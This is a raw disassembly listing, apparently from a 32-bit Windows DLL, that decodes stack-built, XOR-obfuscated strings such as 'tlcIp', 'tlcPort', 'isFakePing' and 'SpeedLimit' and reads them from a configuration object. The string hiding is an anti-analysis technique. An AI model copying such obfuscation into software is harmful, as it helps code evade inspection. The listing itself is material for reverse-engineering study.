call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x124]
push 0
push 0x74
movq qword [eax], xmm0
mov word [eax + 8], 0
mov byte [ebp - 0x124], 0x67
call fcn.10048a10
push 1
push 0x6c
lea ecx, [ebp - 0x124]
mov byte [ebp - 0x123], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x124]
mov byte [ebp - 0x122], al
call fcn.10048a10
push 3
push 0x49
lea ecx, [ebp - 0x124]
mov byte [ebp - 0x121], al
call fcn.10048a10
push 4
push 0x70
lea ecx, [ebp - 0x124]
mov byte [ebp - 0x120], al
call fcn.10048a10
mov byte [ebp - 0x11f], al
mov byte [ebp - 0x11e], 0
mov byte [ebp - 4], 0x33
xor edi, edi
nop word [eax + eax]
push edi
lea ecx, [ebp - 0x123]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x124]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x11d]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 5
jb 0x10047e10
push 5
lea ecx, [ebp - 0x11d]
call fcn.1000d870
lea ecx, [ebp - 0x11d]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x11a0], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x11a0]
push eax
call fcn.1004b080
lea ecx, [ebp - 0xcb8]
push ecx
mov ecx, eax
call fcn.1005b770
mov ecx, eax
mov byte [ebp - 4], 0x34
call fcn.10008f50
push eax
mov ecx, esi
call fcn.100309b0
lea ecx, [ebp - 0xcb8]
call fcn.10003210
lea ecx, [ebp - 0x123]
mov byte [ebp - 4], 0x30
xor edi, edi
call fcn.1000d860
push edi
push 0x74
lea ecx, [ebp - 0x1e4]
mov dword [eax], edi
mov word [eax + 4], di
mov byte [ebp - 0x1e4], 0x14
call fcn.10048a10
push 1
push 0x6c
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 0x1e3], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 0x1e2], al
call fcn.10048a10
push 3
push 0x50
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 0x1e1], al
call fcn.10048a10
push 4
push 0x6f
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 0x1e0], al
call fcn.10048a10
push 5
push 0x72
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 0x1df], al
call fcn.10048a10
push 6
push 0x74
lea ecx, [ebp - 0x1e4]
mov byte [ebp - 0x1de], al
call fcn.10048a10
mov byte [ebp - 0x1dd], al
mov byte [ebp - 0x1dc], 0
mov byte [ebp - 4], 0x35
nop word [eax + eax]
push edi
lea ecx, [ebp - 0x1e3]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x1e4]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x1db]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 7
jb 0x10047f70
push 7
lea ecx, [ebp - 0x1db]
call fcn.1000d870
lea ecx, [ebp - 0x1db]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x119c], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x119c]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b330
movzx eax, ax
mov ecx, esi
push eax
call fcn.1005a420
lea ecx, [ebp - 0x1e3]
mov byte [ebp - 4], 0x30
call fcn.1000d860
mov edi, dword [ebp - 0x105c]
xorps xmm0, xmm0
movq qword [eax], xmm0
lea ecx, [edi + 0x110]
call fcn.1005d560
test al, al
je 0x1004802c
push 0x3f2
lea ecx, [edi + 0x110]
call fcn.1005d570
push 0
push 0x74
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x44], 0x36
call fcn.10048a10
push 1
push 0x7a
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x43], al
call fcn.10048a10
push 2
push 0x63
lea ecx, [ebp - 0x44]
mov byte [ebp - 0x42], al
call fcn.10048a10
mov byte [ebp - 0x41], al
mov byte [ebp - 0x40], 0
mov byte [ebp - 4], 0x36
xor edi, edi
push edi
lea ecx, [ebp - 0x43]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x44]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x3f]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 3
jb 0x10048067
push 3
lea ecx, [ebp - 0x3f]
call fcn.1000d870
lea ecx, [ebp - 0x3f]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1198], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1198]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b270
lea ecx, [ebp - 0x43]
mov byte [ebp - 0x1049], al
mov byte [ebp - 4], 0x30
call fcn.1000d860
cmp byte [ebp - 0x1049], 0
mov dword [eax], 0
je 0x100481b8
call fcn.10019270
push 0
push 0x74
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2c], 0x19
call fcn.10048a10
push 1
push 0x7a
lea ecx, [ebp - 0x2c]
mov byte [ebp - 0x2b], al
call fcn.10048a10
mov byte [ebp - 0x2a], al
mov byte [ebp - 0x29], 0
mov byte [ebp - 4], 0x37
xor edi, edi
push edi
lea ecx, [ebp - 0x2b]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x2c]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x28]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 2
jb 0x10048124
push 2
lea ecx, [ebp - 0x28]
call fcn.1000d870
lea ecx, [ebp - 0x28]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1194], eax
lea ecx, [ebp - 0x1078]
lea eax, [ebp - 0x1194]
push eax
call fcn.1004b080
sub esp, 0x18
mov ecx, eax
push esp
call fcn.1005b770
call fcn.10019070
add esp, 0x18
mov byte [ebp - 4], 0x30
lea ecx, [ebp - 0x2b]
call fcn.1000d860
xor ecx, ecx
mov word [eax], cx
mov byte [eax + 2], cl
mov eax, dword [ebp - 0x105c]
mov byte [eax + 0x168], 1
push 0
push 0x69
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x380], 0x42
call fcn.10048a10
push 1
push 0x73
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x37f], al
call fcn.10048a10
push 2
push 0x46
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x37e], al
call fcn.10048a10
push 3
push 0x61
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x37d], al
call fcn.10048a10
push 4
push 0x6b
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x37c], al
call fcn.10048a10
push 5
push 0x65
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x37b], al
call fcn.10048a10
push 6
push 0x50
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x37a], al
call fcn.10048a10
push 7
push 0x69
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x379], al
call fcn.10048a10
push 8
push 0x6e
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x378], al
call fcn.10048a10
push 9
push 0x67
lea ecx, [ebp - 0x380]
mov byte [ebp - 0x377], al
call fcn.10048a10
mov byte [ebp - 0x376], al
mov byte [ebp - 0x375], 0
mov byte [ebp - 4], 0x38
xor edi, edi
nop
push edi
lea ecx, [ebp - 0x37f]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x380]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x374]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xa
jb 0x100482a0
push 0xa
lea ecx, [ebp - 0x374]
call fcn.1000d870
lea ecx, [ebp - 0x374]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x1190], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1190]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004abc0
lea ecx, [ebp - 0x37f]
mov dword [ebp - 0x108c], eax
mov byte [ebp - 4], 0x30
call fcn.1000d860
xorps xmm0, xmm0
lea ecx, [ebp - 0x4b8]
push 0
push 0x66
movq qword [eax], xmm0
mov word [eax + 8], 0
mov byte [eax + 0xa], 0
mov byte [ebp - 0x4b8], 0x34
call fcn.10048a10
push 1
push 0x61
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b7], al
call fcn.10048a10
push 2
push 0x6b
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b6], al
call fcn.10048a10
push 3
push 0x65
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b5], al
call fcn.10048a10
push 4
push 0x50
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b4], al
call fcn.10048a10
push 5
push 0x69
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b3], al
call fcn.10048a10
push 6
push 0x6e
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b2], al
call fcn.10048a10
push 7
push 0x67
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b1], al
call fcn.10048a10
push 8
push 0x56
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4b0], al
call fcn.10048a10
push 9
push 0x61
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4af], al
call fcn.10048a10
push 0xa
push 0x6c
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4ae], al
call fcn.10048a10
push 0xb
push 0x75
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4ad], al
call fcn.10048a10
push 0xc
push 0x65
lea ecx, [ebp - 0x4b8]
mov byte [ebp - 0x4ac], al
call fcn.10048a10
mov byte [ebp - 0x4ab], al
mov byte [ebp - 0x4aa], 0
mov byte [ebp - 4], 0x39
xor edi, edi
push edi
lea ecx, [ebp - 0x4b7]
call fcn.1000d870
push edi
lea ecx, [ebp - 0x4b8]
movzx eax, byte [eax]
push eax
call fcn.10048a10
push edi
lea ecx, [ebp - 0x4a9]
mov byte [ebp - 0x1049], al
call fcn.1000d870
mov cl, byte [ebp - 0x1049]
inc edi
mov byte [eax], cl
cmp edi, 0xd
jb 0x10048461
push 0xd
lea ecx, [ebp - 0x4a9]
call fcn.1000d870
lea ecx, [ebp - 0x4a9]
mov byte [eax], 0
call fcn.1000d860
mov dword [ebp - 0x118c], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x118c]
push eax
call fcn.1004b080
mov ecx, eax
call fcn.1004b4d0
lea ecx, [ebp - 0x4b7]
mov byte [ebp - 4], 0x30
mov edi, eax
call fcn.1000d860
cmp dword [ebp - 0x108c], 0
xorps xmm0, xmm0
mov ecx, esi
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov word [eax + 0xc], 0
setne al
movzx eax, al
push eax
call fcn.1005a410
mov ecx, esi
call fcn.1002f800
test al, al
je 0x10048524
push edi
mov ecx, esi
call fcn.1005a400
push 0xa
push 0x53
lea ecx, [ebp - 0x8c8]
mov dword [ebp - 0x8c8], 0x6f75781c
mov dword [ebp - 0x8c4], 0x7e756e68
mov word [ebp - 0x8c0], 0x6869
mov byte [ebp - 0x8be], 0x79
call fcn.10048a10
push 0xb
push 0x70
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8bd], al
call fcn.10048a10
push 0xc
push 0x65
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8bc], al
call fcn.10048a10
push 0xd
push 0x65
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8bb], al
call fcn.10048a10
push 0xe
push 0x64
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8ba], al
call fcn.10048a10
push 0xf
push 0x4c
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8b9], al
call fcn.10048a10
push 0x10
push 0x69
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8b8], al
call fcn.10048a10
push 0x11
push 0x6d
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8b7], al
call fcn.10048a10
push 0x12
push 0x69
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8b6], al
call fcn.10048a10
push 0x13
push 0x74
lea ecx, [ebp - 0x8c8]
mov byte [ebp - 0x8b5], al
call fcn.10048a10
mov byte [ebp - 0x8b4], al
mov byte [ebp - 0x8b3], 0
mov byte [ebp - 4], 0x3a
xor ecx, ecx
nop word [eax + eax]
mov al, byte [ebp + ecx - 0x8c7]
xor al, byte [ebp - 0x8c8]
mov byte [ebp + ecx - 0x8b2], al
inc ecx
cmp ecx, 0x14
jb 0x10048630
lea eax, [ebp - 0x8b2]
mov byte [ebp - 0x89e], 0
mov dword [ebp - 0x1188], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1188]
push eax
call fcn.1004b080
lea edx, [ebp - 0x10b4]
mov dword [ebp - 0x10b4], 0
mov ecx, eax
call fcn.100524f0
mov eax, dword [ebp - 0x10b4]
xorps xmm0, xmm0
mov dword [esi + 0x280], eax
movups xmmword [ebp - 0x8c7], xmm0
mov dword [ebp - 0x8b7], 0
movaps xmm0, xmmword [0x100f0080]
mov byte [ebp - 0x8b3], 0
movups xmmword [ebp - 0xa1c], xmm0
mov word [ebp - 0xa0c], 0x4e53
mov byte [ebp - 0xa0a], 0
mov byte [ebp - 4], 0x3b
xor ecx, ecx
mov al, byte [ebp + ecx - 0xa1b]
xor al, byte [ebp - 0xa1c]
mov byte [ebp + ecx - 0xa09], al
inc ecx
cmp ecx, 0x11
jb 0x100486d1
lea eax, [ebp - 0xa09]
mov byte [ebp - 0x9f8], 0
mov dword [ebp - 0x1068], eax
lea ecx, [ebp - 0x10a0]
lea eax, [ebp - 0x1068]
push eax
call fcn.1004b080
lea edx, [ebp - 0x10b8]
mov dword [ebp - 0x10b8], 0
mov ecx, eax
call fcn.100524f0
mov ecx, dword [ebp - 0x105c]
xorps xmm0, xmm0
mov eax, dword [ebp - 0x10b8]
mov dword [esi + 0x284], eax
mov byte [ebp - 4], 0x30
movups xmmword [ebp - 0xa1b], xmm0
mov word [ebp - 0xa0b], 0
cmp dword [ecx + 0x134], 0
je 0x10048769
push 0x3f3
lea ecx, [ecx + 0x110]
call fcn.1005d570
lea ecx, [ebp - 0xa8c]
call fcn.10003210
lea ecx, [ebp - 0x13a8]
call fcn.1005ca90
lea ecx, [ebp - 0x10c8]
call fcn.1005ca90
lea ecx, [ebp - 0xa5c]
call fcn.10003210
lea ecx, [ebp - 0x9a8]
call fcn.10003210
lea ecx, [ebp - 0xbf8]
call fcn.10003210
lea ecx, [ebp - 0xc28]
call fcn.10003210
lea ecx, [ebp - 0x1088]
call fcn.1005ca90
lea ecx, [ebp - 0x10a0]
call fcn.1005ca90
lea ecx, [ebp - 0x1078]
call fcn.1005ca90
lea ecx, [ebp - 0xc40]
call fcn.10003210
lea ecx, [ebp - 0x13b8]
call fcn.1005ca90
lea ecx, [ebp - 0x1264]
call fcn.100180c0
mov ecx, dword [ebp - 0xc]
mov dword fs:[0], ecx
pop ecx
pop edi
pop esi
mov ecx, dword [ebp - 0x14]
xor ecx, ebp
call fcn.10094e23
mov esp, ebp
pop ebp
mov esp, ebx
pop ebx
ret 0xc
push 0xc
lea ecx, [ebp - 0x46a]
call fcn.1000d870
lea ecx, [ebp - 0x46a]
mov byte [eax], 0
call fcn.1000d860
mov edx, eax
mov ecx, edi
call fcn.10006770
mov edx, dword [ebp - 0x1060]
mov ecx, eax
call fcn.10006770
lea ecx, [ebp - 0x477]
mov byte [ebp - 4], 7
call fcn.1000d860
xorps xmm0, xmm0
movq qword [eax], xmm0
mov dword [eax + 8], 0
mov byte [eax + 0xc], 0
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1880]
lea eax, [ebp - 0xce8]
push eax
call fcn.100044d0
mov ecx, eax
mov byte [ebp - 4], 9
call fcn.10008f50
push 0
push 0
push eax
push 4
mov ecx, esi
call fcn.10003ef0
lea ecx, [ebp - 0xce8]
call fcn.10003210
lea ecx, [ebp - 0x1880]
mov byte [ebp - 4], 6
call fcn.10004400
push 0x10102194
lea eax, [ebp - 0x10d4]
mov dword [ebp - 0x10d4], 0x2777
push eax
call fcn.10097714
push 0x13
lea ecx, [ebp - 0x757]
call fcn.1000d870
lea ecx, [ebp - 0x757]
mov byte [eax], 0
call fcn.1000d860
mov edx, eax
mov ecx, edi
call fcn.10006770
lea ecx, [ebp - 0x76b]
mov byte [ebp - 4], 0x55
call fcn.1000d860
xorps xmm0, xmm0
movups xmmword [eax], xmm0
mov dword [eax + 0x10], 0
call fcn.100037a0
mov esi, eax
lea ecx, [ebp - 0x1930]
lea eax, [ebp - 0xd30]
push eax
call fcn.100044d0
mov ecx, eax
mov byte [ebp - 4], 0x57
call fcn.10008f50
push 0
push 0
push eax
push 4
mov ecx, esi
call fcn.10003ef0
lea ecx, [ebp - 0xd30]
call fcn.10003210
lea ecx, [ebp - 0x1930]
mov byte [ebp - 4], 0x53
call fcn.10004400
push 0x10102194
lea eax, [ebp - 0x110c]
mov dword [ebp - 0x110c], 0x27d9
push eax
call fcn.10097714
int3